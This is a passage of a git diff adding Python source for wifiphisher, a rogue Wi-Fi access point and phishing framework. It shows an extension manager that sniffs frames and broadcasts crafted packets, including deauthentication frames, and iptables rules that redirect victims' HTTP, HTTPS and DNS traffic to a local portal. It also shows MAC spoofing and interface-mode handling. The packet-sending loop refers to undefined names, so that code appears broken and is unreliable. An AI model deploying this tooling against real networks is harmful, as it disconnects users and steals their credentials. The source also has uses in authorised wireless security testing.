importlib.import_module(constants.EXTENSIONS_LOADPATH + + extension) + extension_class = getattr(mod, extension.title()) + obj = extension_class(shared_data) + self._extensions.append(obj) + + def start_extensions(self): + """ + Starts the two main daemons of EM: + + 1) Daemon that listens to every packet and + forwards it to each extension for further processing. + 2) Daemon that receives special-crafted packets + from extensions and broadcasts them in the air. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + + # One daemon is listening for packets... + self._listen_thread.start() + # ...another daemon is sending packets + self._send_thread.start() + # daemon for channel hopping + self.get_channels() + if self._shared_data.is_freq_hop_allowed: + self._channelhop_thread.start() + else: + self._current_channel = self._shared_data.target_ap_channel + + def on_exit(self): + """ + Stops both daemons of EM on exit. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + + self._should_continue = False + if self._listen_thread.is_alive(): + self._listen_thread.join(3) + if self._send_thread.is_alive(): + self._send_thread.join(3) + if (self._shared_data is not None + and self._shared_data.is_freq_hop_allowed + and self._channelhop_thread.is_alive()): + self._channelhop_thread.join(3) + # Close socket if it's open + try: + self._socket.close() + except AttributeError: + pass + # Clean resources used by extension modules + for extension in self._extensions: + extension.on_exit() + + def get_channels(self): + """ + Gets the channels from each extension. + Merges them to create a list of channels + to hop. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + + for extension in self._extensions: + channels_interested = extension.send_channels() + number_of_channels = len(channels_interested) + if channels_interested and number_of_channels > 0: + # Append only new channels (no duplicates) + self._channels_to_hop += list( + set(channels_interested) - set(self._channels_to_hop)) + + def get_output(self): + """ + Gets the output of each extensions. + Merges them in a list and returns it. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + + output = [] + for extension in self._extensions: + m_output = extension.send_output() + num_of_lines = len(m_output) + if m_output and num_of_lines > 0: + output += m_output + return output + + def _process_packet(self, pkt): + """ + Pass each captured packet to each module. + Gets the packets to send. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :param pkt: A Scapy packet object + :type pkt: Scapy Packet + :return: None + :rtype: None + """ + + # clear the _packets_to_send on every run of the + # sniffed frame + self._packets_to_send = defaultdict(list) + channels = [str(ch) for ch in constants.ALL_2G_CHANNELS] + ["*"] + for extension in self._extensions: + ext_pkts = extension.get_packet(pkt) + for channel in channels: + self._packets_to_send[channel] += ext_pkts[channel] + + def _stopfilter(self, pkt): + """ + A scapy filter to determine if we need to stop. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :param self: A Scapy packet object + :type self: Scapy Packet + :return: True or False + :rtype: Boolean + """ + + return not self._should_continue + + def _listen(self): + """ + Listening thread. Listens for packets and forwards them + to _process_packet. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + + # continue to find clients until told otherwise + while self._should_continue: + dot11.sniff( + iface=self._interface, + prn=self._process_packet, + count=1, + store=0, + stop_filter=self._stopfilter) + + def _send(self): + """ + Sending thread. Continously broadcasting packets + crafted by extensions. + + :param self: An ExtensionManager object + :type self: ExtensionManager + :return: None + :rtype: None + """ + while self._should_continue: + for pkt in self._packets_to_send[self._current_channel] + \ + self._packets_to_send["*"]: + try: + if is_deauth_cont or not deauth_extension.is_deauth_frame(pkt): + logger.debug("Send pkt with A1:%s A2:%s subtype:%s in channel:%s", + pkt.addr1, pkt.addr2, pkt.subtype, + self._current_channel) + self._socket.send(pkt) + except BaseException: + continue + time.sleep(1) diff --git a/wifiphisher/common/firewall.py b/wifiphisher/common/firewall.py new file mode 100644 index 0000000..423aeb8 --- /dev/null +++ b/wifiphisher/common/firewall.py @@ -0,0 +1,46 @@ +#pylint: skip-file +import subprocess +from wifiphisher.common.constants import * + + +class Fw(): + def __init__(self): + pass + + def nat(self, internal_interface, external_interface): + subprocess.call( + ('iptables -t nat -A POSTROUTING -o %s -j MASQUERADE' % + (external_interface, )), + shell=True) + + subprocess.call( + ('iptables -A FORWARD -i %s -o %s -j ACCEPT' % + (internal_interface, external_interface)), + shell=True) + + def clear_rules(self): + subprocess.call('iptables -F', shell=True) + subprocess.call('iptables -X', shell=True) + subprocess.call('iptables -t nat -F', shell=True) + subprocess.call('iptables -t nat -X', shell=True) + + def redirect_requests_localhost(self): + subprocess.call( + ('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination %s:%s' + % (NETWORK_GW_IP, PORT)), + shell=True) + subprocess.call( + ('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination %s:%s' + % (NETWORK_GW_IP, 53)), + shell=True) + subprocess.call( + ('iptables -t nat -A PREROUTING -p tcp --dport 53 -j DNAT --to-destination %s:%s' + % (NETWORK_GW_IP, 53)), + shell=True) + subprocess.call( + ('iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination %s:%s' + % (NETWORK_GW_IP, SSL_PORT)), + shell=True) + + def on_exit(self): + self.clear_rules() diff --git a/wifiphisher/common/interfaces.py b/wifiphisher/common/interfaces.py new file mode 100644 index 0000000..23c44ed --- /dev/null +++ b/wifiphisher/common/interfaces.py @@ -0,0 +1,967 @@ +""" +This module was made to handle all the interface related operations of +the program +""" + +import random +from collections import defaultdict +import logging +import pyric +import pyric.pyw as pyw +import dbus +import wifiphisher.common.constants as constants + +logger = logging.getLogger("wifiphisher.interfaces") + + +class InvalidInterfaceError(Exception): + """ Exception class to raise in case of a invalid interface """ + + def __init__(self, interface_name, mode=None): + """ + Construct the class + + :param self: A InvalidInterfaceError object + :param interface_name: Name of an interface + :type self: InvalidInterfaceError + :type interface_name: str + :return: None + :rtype: None + """ + + message = "The provided interface \"{0}\" is invalid!".format( + interface_name) + + # provide more information if mode is given + if mode: + message += "Interface {0} doesn't support {1} mode".format( + interface_name, mode) + + Exception.__init__(self, message) + + +class InvalidMacAddressError(Exception): + """ + Exception class to raise in case of specifying invalid mac address + """ + + def __init__(self, mac_address): + """ + Construct the class + + :param self: A InvalidMacAddressError object + :param mac_address: A MAC address + :type self: InvalidMacAddressError + :type mac_address: str + :return: None + :rtype: None + """ + message = "The provided MAC address {0} is invalid".format(mac_address) + Exception.__init__(self, message) + + +class InvalidValueError(Exception): + """ + Exception class to raise in case of a invalid value is supplied + """ + + def __init__(self, value, correct_value_type): + """ + Construct the class + + :param self: A InvalidValueError object + :param value_type: The value supplied + :param correct_value_type: The correct value type + :type self: InvalidValueError + :type value_type: any + :type correct_value_type: any + :return: None + :rtype: None + """ + + value_type = type(value) + + message = ("Expected value type to be {0} while got {1}.".format( + correct_value_type, value_type)) + Exception.__init__(self, message) + + +class InterfaceCantBeFoundError(Exception): + """ + Exception class to raise in case of a invalid value is supplied + """ + + def __init__(self, interface_modes): + """ + Construct the class + + :param self: A InterfaceCantBeFoundError object + :param interface_modes: Modes of interface required + :type self: InterfaceCantBeFoundError + :type interface_modes: tuple + :return: None + :rtype: None + .. note: For interface_modes the tuple should contain monitor + mode as first argument followed by AP mode + """ + + monitor_mode = interface_modes[0] + ap_mode = interface_modes[1] + + message = "Failed to find an interface with " + + # add appropriate mode + if monitor_mode: + message += "monitor" + elif ap_mode: + message += "AP" + + message += " mode" + + Exception.__init__(self, message) + + +class InterfaceManagedByNetworkManagerError(Exception): + """ + Exception class to raise in case of NetworkManager controls the AP or deauth interface + """ + + def __init__(self, interface_name): + """ + Construct the class. + :param self: An InterfaceManagedByNetworkManagerError object + :param interface_name: Name of interface + :type self: InterfaceManagedByNetworkManagerError + :type interface_name: str + :return: None + :rtype: None + """ + + message = ( + "Interface \"{0}\" is controlled by NetworkManager." + "You need to manually set the devices that should be ignored by NetworkManager " + "using the keyfile plugin (unmanaged-directive). For example, '[keyfile] " + "unmanaged-devices=interface-name:\"{0}\"' needs to be added in your " + "NetworkManager configuration file.".format(interface_name)) + Exception.__init__(self, message) + + +class NetworkAdapter(object): + """ This class represents a network interface """ + + def __init__(self, name, card_obj, mac_address): + """ + Setup the class with all the given arguments + + :param self: A NetworkAdapter object + :param name: Name of the interface + :param card_obj: A pyric.pyw.Card object + :param mac_address: The MAC address of interface + :type self: NetworkAdapter + :type name: str + :type card_obj: pyric.pyw.Card + :type mac_address: str + :return: None + :rtype: None + """ + + # Setup the fields + self._name = name + self._has_ap_mode = False + self._has_monitor_mode = False + self._is_managed_by_nm = False + self._card = card_obj + self._original_mac_address = mac_address + self._current_mac_address = mac_address + + @property + def name(self): + """ + Return the name of the interface + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: The name of the interface + :rtype: str + """ + + return self._name + + @property + def is_managed_by_nm(self): + """ + Return whether the interface controlled by NetworkManager + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: True if interface is controlled by NetworkManager + :rtype: bool + """ + return self._is_managed_by_nm + + @is_managed_by_nm.setter + def is_managed_by_nm(self, value): + """ + Set whether the interface is controlled by NetworkManager + + :param self: A NetworkAdapter object + :param value: A value representing interface controlled by NetworkManager + :type self: NetworkAdapter + :type value: bool + :return: None + :rtype: None + :raises InvalidValueError: When the given value is not bool + """ + + if isinstance(value, bool): + self._is_managed_by_nm = value + else: + raise InvalidValueError(value, bool) + + @property + def has_ap_mode(self): + """ + Return whether the interface supports AP mode + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: True if interface supports AP mode and False otherwise + :rtype: bool + """ + + return self._has_ap_mode + + @has_ap_mode.setter + def has_ap_mode(self, value): + """ + Set whether the interface supports AP mode + + :param self: A NetworkAdapter object + :param value: A value representing AP mode support + :type self: NetworkAdapter + :type value: bool + :return: None + :rtype: None + :raises InvalidValueError: When the given value is not bool + """ + + if isinstance(value, bool): + self._has_ap_mode = value + else: + raise InvalidValueError(value, bool) + + @property + def has_monitor_mode(self): + """ + Return whether the interface supports monitor mode + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: True if interface supports monitor mode and False otherwise + :rtype: bool + """ + + return self._has_monitor_mode + + @has_monitor_mode.setter + def has_monitor_mode(self, value): + """ + Set whether the interface supports monitor mode + + :param self: A NetworkAdapter object + :param value: A value representing monitor mode support + :type self: NetworkAdapter + :type value: bool + :return: None + :rtype: None + :raises InvalidValueError: When the given value is not bool + """ + + if isinstance(value, bool): + self._has_monitor_mode = value + else: + raise InvalidValueError(value, bool) + + @property + def card(self): + """ + Return the card object associated with the interface + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: The card object + :rtype: pyric.pyw.Card + """ + + return self._card + + @property + def mac_address(self): + """ + Return the current MAC address of the interface + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: The MAC of the interface + :rtype: str + """ + + return self._current_mac_address + + @mac_address.setter + def mac_address(self, value): + """ + Set the MAC address of the interface + + :param self: A NetworkAdapter object + :param value: A value representing monitor mode support + :type self: NetworkAdapter + :type value: str + :return: None + :rtype: None + """ + + self._current_mac_address = value + + @property + def original_mac_address(self): + """ + Return the original MAC address of the interface + + :param self: A NetworkAdapter object + :type self: NetworkAdapter + :return: The original MAC of the interface + :rtype: str + """ + + return self._original_mac_address + + +class NetworkManager(object): + """ + This class represents a network manager where it handles all the management + for the interfaces. + """ + + def __init__(self): + """ + Setup the class with all the given arguments. + + :param self: A NetworkManager object + :type self: NetworkManager + :return: None + :rtype: None + """ + + self._name_to_object = dict() + self._active = set() + self._exclude_shutdown = set() + self._internet_access_enable = False + self._vifs_add = set() + + @property + def internet_access_enable(self): + """ + Return whether the -iI option is used + + :param self: A NetworkManager object + :type self: NetworkManager + :return: None + :rtype: None + """ + return self._internet_access_enable + + @internet_access_enable.setter + def internet_access_enable(self, value): + """ + Set the internet access + + :param self: A NetworkManager object + :type self: NetworkManager + :return: None + :rtype: None + """ + + if isinstance(value, bool): + self._internet_access_enable = value + else: + raise InvalidValueError(value, bool) + + def is_interface_valid(self, interface_name, mode=None): + """ + Check if interface is valid + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :param mode: The mode of the interface to be checked + :type self: NetworkManager + :type interface_name: str + :type mode: str + :return: True if interface is valid + :rtype: bool + :raises InvalidInterfaceError: If the interface is invalid or the interface + has been chosen in the set _active + :raises InterfaceManagedByNetworkManagerError: If the card is managed and + is being used as deauth/ap mode + .. note: The available modes are monitor, AP, WPS and internet + The internet adapter should be put in the _exclude_shutdown set + so that it will not be shutdown after the program exits. + """ + + try: + interface_adapter = self._name_to_object[interface_name] + except KeyError: + # if mode is internet and not wireless card bypass the check + if mode == "internet": + return True + else: + raise InvalidInterfaceError(interface_name) + + # add to _exclude_shutdown set if the card is internet adapter + if mode == "internet" or mode == "WPS": + self._exclude_shutdown.add(interface_name) + # raise an error if interface doesn't support the mode + if mode != "internet" and interface_adapter.is_managed_by_nm\ + and self.internet_access_enable: + raise InterfaceManagedByNetworkManagerError(interface_name) + if mode == "monitor" and not interface_adapter.has_monitor_mode: + raise InvalidInterfaceError(interface_name, mode) + elif mode == "AP" and not interface_adapter.has_ap_mode: + raise InvalidInterfaceError(interface_name, mode) + + # raise an error if interface is already in the _active set + if interface_name in self._active: + raise InvalidInterfaceError(interface_name) + + self._active.add(interface_name) + return True + + def up_interface(self, interface_name): + """ + Equivalent to ifconfig interface_name up + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :type self: NetworkManager + :type interface_name: str + :return: None + :rtype: None + ..note: Let the pywifiphisher decide when to up the + interface since some cards cannot up two virtual interface + with managed mode in the same time. + """ + + card = self._name_to_object[interface_name].card + pyw.up(card) + + def down_interface(self, interface_name): + """ + Equivalent to ifconfig interface_name down + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :type self: NetworkManager + :type interface_name: str + :return: None + :rtype: None + """ + + card = self._name_to_object[interface_name].card + pyw.down(card) + + def set_interface_mac(self, interface_name, mac_address): + """ + Set the specified MAC address for the interface + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :param mac_address: A MAC address + :type self: NetworkManager + :type interface_name: str + :type mac_address: str + :return: None + :rtype: None + .. note: This method will set the interface to managed mode + """ + self._name_to_object[interface_name].mac_address = mac_address + card = self._name_to_object[interface_name].card + self.set_interface_mode(interface_name, "managed") + + self.down_interface(interface_name) + # card must be turned off(down) before setting mac address + try: + pyw.macset(card, mac_address) + # make sure to catch an invalid mac address + except pyric.error as error: + raise InvalidMacAddressError(mac_address) + + def get_interface_mac(self, interface_name): + """ + Return the MAC address of the interface + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :type self: NetworkManager + :type interface_name: str + :return: Interface MAC address + :rtype: str + """ + + return self._name_to_object[interface_name].mac_address + + def set_interface_mac_random(self, interface_name): + """ + Set random MAC address for the interface + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :type self: NetworkManager + :type interface_name: str + :return: None + :rtype: None + .. note: This method will set the interface to managed mode. + Also the first 3 octets are always 00:00:00 by default + Only set the mac address when card is in down state + """ + + # generate a new mac address and set it to adapter's new address + new_mac_address = generate_random_address() + # change the mac address of adapter + self.set_interface_mac(interface_name, new_mac_address) + + def set_interface_mode(self, interface_name, mode): + """ + Set the specified mode for the interface + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :param mode: Mode of an interface + :type self: NetworkManager + :type interface_name: str + :type mode: str + :return: None + :rtype: None + .. note: Available modes are unspecified, ibss, managed, AP + AP VLAN, wds, monitor, mesh, p2p + Only set the mode when card is in the down state + """ + + card = self._name_to_object[interface_name].card + self.down_interface(interface_name) + # set interface mode between brining it down and up + pyw.modeset(card, mode) + + def get_interface(self, has_ap_mode=False, has_monitor_mode=False): + """ + Return the name of a valid interface with modes supplied + + :param self: A NetworkManager object + :param has_ap_mode: AP mode support + :param has_monitor_mode: Monitor mode support + :type self: NetworkManager + :type has_ap_mode: bool + :type has_monitor_mode: bool + :return: Name of valid interface + :rtype: str + .. raises InterfaceCantBeFoundError: When an interface with + supplied modes can't be found + .. raises InterfaceManagedByNetworkManagerError: When the chosen + interface is managed by NetworkManager + .. note: This method guarantees that an interface with perfect + match will be returned if available + """ + + possible_adapters = list() + for interface, adapter in self._name_to_object.iteritems(): + # check to make sure interface is not active and not already in the possible list + if (interface not in self._active) and ( + adapter not in possible_adapters): + # in case of perfect match case + if (adapter.has_ap_mode == has_ap_mode + and adapter.has_monitor_mode == has_monitor_mode): + possible_adapters.insert(0, adapter) + + # in case of requested AP mode and interface has AP mode (Partial match) + elif has_ap_mode and adapter.has_ap_mode: + possible_adapters.append(adapter) + # in case of requested monitor mode and interface has monitor mode (Partial match) + elif has_monitor_mode and adapter.has_monitor_mode: + possible_adapters.append(adapter) + + for adapter in possible_adapters: + if ((not adapter.is_managed_by_nm and self.internet_access_enable) + or (not self.internet_access_enable)): + chosen_interface = adapter.name + self._active.add(chosen_interface) + return chosen_interface + + if possible_adapters: + raise InterfaceManagedByNetworkManagerError("ALL") + else: + raise InterfaceCantBeFoundError((has_monitor_mode, has_ap_mode)) + + def get_interface_automatically(self): + """ + Return a name of two interfaces + :param self: A NetworkManager object + :param self: NetworkManager + :return: Name of monitor interface followed by AP interface + :rtype: tuple + """ + + monitor_interface = self.get_interface(has_monitor_mode=True) + ap_interface = self.get_interface(has_ap_mode=True) + + return (monitor_interface, ap_interface) + + def unblock_interface(self, interface_name): + """ + Unblock interface if it is blocked + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :type self: NetworkManager + :type interface_name: str + :return: None + :rtype: None + """ + + card = self._name_to_object[interface_name].card + + # unblock card if it is blocked + if pyw.isblocked(card): + pyw.unblock(card) + + def set_interface_channel(self, interface_name, channel): + """ + Set the channel for the interface + + :param self: A NetworkManager object + :param interface_name: Name of an interface + :param channel: A channel number + :type self: NetworkManager + :type interface_name: str + :type channel: int + :return: None + :rtype: None + """ + + card = self._name_to_object[interface_name].card + + pyw.chset(card, channel) + + def add_virtual_interface(self, card): + """ + Add the virtual interface to the host system + :param self: A NetworkManager object + :param card: A pyw.Card object + :type self: NetworkManager + :type card: pyw.Card + :return name of the interface + :rtype str + :..note: when add the interface it is possible raising the + pyric.error causing by adding the duplicated wlan interface + name. + """ + + done_flag = True + number = 0 + while done_flag: + try: + number += 1 + name = 'wlan' + str(number) + pyw.down(card) + monitor_card = pyw.devadd(card, name, 'monitor') + done_flag = False + # catch if wlan1 is already exist + except pyric.error: + pass + self._vifs_add.add(monitor_card) + return name + + def remove_vifs_added(self): + """ + Remove all the added virtual interfaces + :param self: A NetworkManager object + :type self: NetworkManager + :return: None + :rtype: None + """ + + for card in self._vifs_add: + pyw.devdel(card) + + def start(self): + """ + Start the network manager + + :param self: A NetworkManager object + :type self: NetworkManager + :return: None + :rtype: None + """ + + # populate our dictionary with all the available interfaces on the system + for interface in pyw.interfaces(): + try: + card = pyw.getcard(interface) + mac_address = pyw.macget(card) + adapter = NetworkAdapter(interface, card, mac_address) + self._name_to_object[interface] = adapter + interface_property_detector(adapter) + # ignore devices that are not supported(93) and no such device(19) + except pyric.error as error: + if error[0] == 93 or error[0] == 19: + pass + else: + raise error + + def on_exit(self): + """ + Perform a clean up for the class + + :param self: A NetworkManager object + :type self: NetworkManager + :return: None + :rtype: None + ..note: The cards in _exclude_shutdown will not set to the original mac address + since these cards are not changed the mac addresses by the program. + """ + + for interface in self._active: + if interface not in self._exclude_shutdown: + adapter = self._name_to_object[interface] + mac_address = adapter.original_mac_address + self.set_interface_mac(interface, mac_address) + # remove all the virtual added virtual interfaces + self.remove_vifs_added() + + +def is_add_vif_required(args): + """ + Return the card if only that card support both monitor and ap + :param args: Arguemnt from pywifiphisher + :type args: parse.args + :return: tuple of card and is_frequency_hop_allowed + :rtype: tuple + """ + + def get_perfect_card(phy_map_vifs, vif_score_tups): + """ + Get the perfect card that both supports ap and monitor when we + have only one phy interface can do that + :param phy_map_vifs: phy number maps to the virtual interfaces + :param vif_score_tups: list of tuple containing card and score + :type phy_map_vifs: dict + :type vif_score_tups: list + :return tuple of card and single_perfect_phy_case + :rtype: tuple + """ + # case 1 : one phy maps to one virtual interface + if len(phy_map_vifs) == 1 and len(phy_map_vifs.values()[0]) == 1: + # only take the first tuple + vif_score_tuple = vif_score_tups[0] + card = vif_score_tuple[0] + score = vif_score_tuple[1] + # if this card support both monitor and AP mode + if score == 2: + return card, True + # case 2 : one phy maps to multiple virtual interfaces + # we don't need to create one more virtual interface in this case + elif len(phy_map_vifs) == 1 and len(phy_map_vifs.values()[0]) > 1: + return None, True + # case 3 : we have multiple phy interfaces but only + # one card support both monitor and AP and the other + # ones just support the managed mode only + elif len(phy_map_vifs) > 1: + if vif_score_tups[0][1] == 2 and vif_score_tups[1][1] == 0: + return vif_score_tups[0][0], True + return None, False + + # map the phy interface to virtual interfaces + # i.e. phy0 to wlan0 + phy_to_vifs = defaultdict(list) + # store the phy number for the internet access + invalid_phy_number = list() + # record the invalid_phy_number when it is wireless card + if args.internetinterface and pyw.iswireless(args.internetinterface): + card = pyw.getcard(args.internetinterface) + invalid_phy_number.append(card.phy) + + if args.wpspbc_assoc_interface: + card = pyw.getcard(args.wpspbc_assoc_interface) + invalid_phy_number.append(card.phy) + + # map the phy# to the virtual interface tuples + for vif in [vif for vif in pyw.interfaces() if pyw.iswireless(vif)]: + # excluding the card that used for internet accessing + # setup basic card information + score = 0 + card = pyw.getcard(vif) + phy_number = card.phy + if phy_number in invalid_phy_number: + continue + + supported_modes = pyw.devmodes(card) + + if "monitor" in supported_modes: + score += 1 + if "AP" in supported_modes: + score += 1 + + phy_to_vifs[phy_number].append((card, score)) + + # each phy number map to a sublist containing (card, score) + vif_score_tuples = [sublist[0] for sublist in phy_to_vifs.values()] + # sort with score + vif_score_tuples = sorted(vif_score_tuples, key=lambda tup: -tup[1]) + + perfect_card, is_single_perfect_phy = get_perfect_card( + phy_to_vifs, vif_score_tuples) + + return perfect_card, is_single_perfect_phy + + +def get_network_manager_objects(system_bus): + """ + Get the required objects that implement the given interface_paths + + :param system_bus: SystemBus used to control the NetworkManager + :type system_bus: dbus.SystemBus + :return tuple of network manager and property accesser + :rtype: tuple + """ + + # get the network manager proxy + network_manager_proxy = system_bus.get_object( + constants.NM_APP_PATH, constants.NM_MANAGER_OBJ_PATH) + # get the network manager object that implements the NM_MANAGER_INTERFACE + network_manager = dbus.Interface( + network_manager_proxy, + dbus_interface=constants.NM_MANAGER_INTERFACE_PATH) + # get the network manager prperty accesser + prop_accesser = dbus.Interface( + network_manager_proxy, dbus_interface=dbus.PROPERTIES_IFACE) + return network_manager, prop_accesser + + +def is_managed_by_network_manager(interface_name): + """ + Check if the interface is managed by NetworkManager + + :param interface_name: An interface name + :type interface_name: str + :return if managed by NetworkManager return True + :rtype: bool + .. note: When the NetworkManager service is not running, using bus.get_object + will raise the exception. It's safe to pass this exception since when + NetworkManger doesn't run, the manage property will be unmanaged. + + We first create the network_manager_proxy first, and use it to get the + network_manager object that implements the interface NM_MANAGER_INTERFACE_PATH. + This network_manager object can then get all the assoicated devices, and we can + uses these devices' paths to get the device objects. After finding the target + device object we can then check if this device is managed by NetworkManager or not. + """ + + bus = dbus.SystemBus() + is_managed = False + try: + # we only need the first returning value for network manager object + network_manager = get_network_manager_objects(bus)[0] + # get all the wireless devices + devices = network_manager.GetDevices() + for dev_obj_path in devices: + # get the device proxy object + device_proxy = bus.get_object(constants.NM_APP_PATH, dev_obj_path) + + # get the device object that implements the PROPERTIES_IFACE interface + device = dbus.Interface( + device_proxy, dbus_interface=dbus.PROPERTIES_IFACE) + + # check if the device is the target interface + if device.Get(constants.NM_DEV_INTERFACE_PATH, + 'Interface') == interface_name: + is_managed = device.Get(constants.NM_DEV_INTERFACE_PATH, + 'Managed') + break + except dbus.exceptions.DBusException: + # NetworkManager service is not running so the devices must be unmanaged + pass + return bool(is_managed) + + +def interface_property_detector(network_adapter): + """ + Add appropriate properties of the interface such as supported modes + and wireless type(wireless) + + :param network_adapter: A NetworkAdapter object + :type interface_name: NetworkAdapter + :return: None + :rtype: None + """ + + supported_modes = pyw.devmodes(network_adapter.card) + + # check for monitor, AP and wireless mode support + if "monitor" in supported_modes: + network_adapter.has_monitor_mode = True + if "AP" in supported_modes: + network_adapter.has_ap_mode = True + + interface_name = network_adapter.name + network_adapter.is_managed_by_nm = is_managed_by_network_manager( + interface_name) + + +def is_wireless_interface(interface_name): + """ + Check if the interface is wireless interface + + :param interface_name: Name of an interface + :type interface_name: str + :return: True if the interface is wireless interface + :rtype: bool + """ + + if pyw.iswireless(interface_name): + return True + return False + + +def generate_random_address(): + """ + Make and return the randomized MAC address + + :return: A MAC address + :rtype str + .. warning: The first 3 octets are 00:00:00 by default + """ + + mac_address = constants.DEFAULT_OUI + ":{:02x}:{:02x}:{:02x}".format( + random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) + return mac_address + + +def does_have_mode(interface, mode): + """ + Return whether the provided interface has the mode + + :param interface: Name of the interface + :param mode: Mode of operation + :type interface: str + :type mode: str + :return: True if interface has the mode and False otherwise + :rtype: bool + :Example: + + >>> does_have_mode("wlan0", "AP") + True + + >>> does_have_mode("wlan1", "monitor") + False + """ + card = pyric.pyw.getcard(interface) + + return mode in pyric.pyw.devmodes(card) diff --git a/wifiphisher/common/macmatcher.py b/wifiphisher/common/macmatcher.py new file mode 100644 index 0000000..f8ac83b --- /dev/null +++ b/wifiphisher/common/macmatcher.py @@ -0,0 +1,133 @@ +""" +This module was made to match MAC address with vendors +""" + +import wifiphisher.common.constants as constants + + +class MACMatcher(object): + """ + This class handles Organizationally Unique Identifiers (OUIs). + The original data comes from http://standards.ieee.org/regauth/ + oui/oui.tx + + .. seealso:: http://standards.ieee.org/faqs/OUI.html + """ + + def __init__(self, mac_vendor_file): + """ + Setup the class with all the given arguments + + :param self: A MACMatcher object + :param mac_vendor_file: The path of the vendor file + :type self: MACMatcher + :type mac_vendor_file: string + :return: None + :rtype: None + """ + + self._mac_to_vendor = {} + self._vendor_file = mac_vendor_file + + # get the information in the vendor file + self._get_vendor_information() + + def _get_vendor_information(self): + """ + Read and process all the data in the vendor file + + :param self: A MACMatcher object + :type self: MACMatcher + :return: None + :rtype: None + """ + + # open the file with all the MAC addresses and + # vendor information + with open(self._vendor_file, 'r') as _file: + # check every line in the file + for line in _file: + # skip comment lines + if not line.startswith("#"): + # separate vendor and MAC addresses and add it + # to the dictionary + separated_line = line.rstrip('\n').split('|') + mac_identifier = separated_line[0] + vendor = separated_line[1] + logo = separated_line[2] + self._mac_to_vendor[mac_identifier] = (vendor, logo) + + def get_vendor_name(self, mac_address): + """ + Return the matched vendor name for the given MAC address + or Unknown if no match is found + + :param self: A MACMatcher object + :param mac_address: MAC address of device + :type self: MACMatcher + :type mac_address: string + :return: The vendor name of the device if MAC address is found + and Unknown otherwise + :rtype: string + """ + + # Don't bother if there's no MAC + if mac_address is None: + return None + + # convert mac address to same format as file + # ex. 12:34:56:78:90:AB --> 123456 + mac_identifier = mac_address.replace(':', '').upper()[0:6] + + # try to find the vendor and if not found return unknown + try: + vendor = self._mac_to_vendor[mac_identifier][0] + return vendor + except KeyError: + return "Unknown" + + def get_vendor_logo_path(self, mac_address): + """ + Return the the full path of the logo in the filesystem for the + given MAC address or None if no match is found + + :param self: A MACMatcher object + :param mac_address: MAC address of the device + :type self: MACMatcher + :type mac_address: string + :return: The full path of the logo if MAC address if found and + None otherwise + :rtype: string or None + """ + + # Don't bother if there's no MAC + if mac_address is None: + return None + + # convert mac address to same format as file + # ex. 12:34:56:78:90:AB --> 123456 + mac_identifier = mac_address.replace(':', '').upper()[0:6] + + # check to see if vendor is available for the MAC address + if mac_identifier in self._mac_to_vendor: + # find the logo and it's path + logo = self._mac_to_vendor[mac_identifier][1] + logo_path = constants.LOGOS_DIR + logo + # return logo name if it was provided otherwise return None + if logo: + return logo_path + else: + return None + + def unbind(self): + """ + Unloads mac to vendor mapping from memory and therefore you can + not use MACMatcher instance once this method is called + + :param self: A MACMatcher object + :type self: MACMatcher + :return: None + :rtype: None + """ + + del self._mac_to_vendor diff --git a/wifiphisher/common/opmode.py b/wifiphisher/common/opmode.py new file mode 100644 index 0000000..d5f9c5f --- /dev/null +++ b/wifiphisher/common/opmode.py @@ -0,0 +1,285 @@ +""" +All logic regarding the Operation Modes (opmodes). + +The opmode is defined based on the user's arguments and the available +resources of the host system +""" +import sys +import os +import logging +import argparse +import pyric +import wifiphisher.common.interfaces as interfaces +import wifiphisher.common.constants as constants +import wifiphisher.extensions.handshakeverify as handshakeverify + +logger = logging.getLogger(__name__) + + +class OpMode(object): + """ + Manager of the operation mode + """ + + def __init__(self): + """ + Construct the class + :param self: An OpMode object + :type self: OpMode + :return: None + :rtype: None + """ + + self.op_mode = 0x0 + # True if the system only contains one phy interface + self._is_one_phy_interface = False + # The card which supports monitor and ap mode + self._perfect_card = None + + def initialize(self, args): + """ + Initialize the opmode manager + :param self: An OpMode object + :param args: An argparse.Namespace object + :type self: OpMode + :type args: argparse.Namespace + :return: None + :rtype: None + """ + + self._perfect_card, self._is_one_phy_interface =\ + interfaces.is_add_vif_required(args) + self._check_args(args) + + def _check_args(self, args): + """ + Checks the given arguments for logic errors. + :param self: An OpMode object + :param args: An argparse.Namespace object + :type self: OpMode + :type args: argparse.Namespace + :return: None + :rtype: None + """ + + if args.presharedkey and \ + (len(args.presharedkey) < 8 or + len(args.presharedkey) > 64): + sys.exit('[' + constants.R + '-' + constants.W + + '] Pre-shared key must be between 8 and 63 printable' + 'characters.') + + if args.handshake_capture and not os.path.isfile( + args.handshake_capture): + sys.exit('[' + constants.R + '-' + constants.W + + '] Handshake capture does not exist.') + elif args.handshake_capture and not handshakeverify.\ + is_valid_handshake_capture(args.handshake_capture): + sys.exit('[' + constants.R + '-' + constants.W + + '] Handshake capture does not contain valid handshake') + + if ((args.extensionsinterface and not args.apinterface) or + (not args.extensionsinterface and args.apinterface)) and \ + not (args.noextensions and args.apinterface): + sys.exit('[' + constants.R + '-' + constants.W + + '] 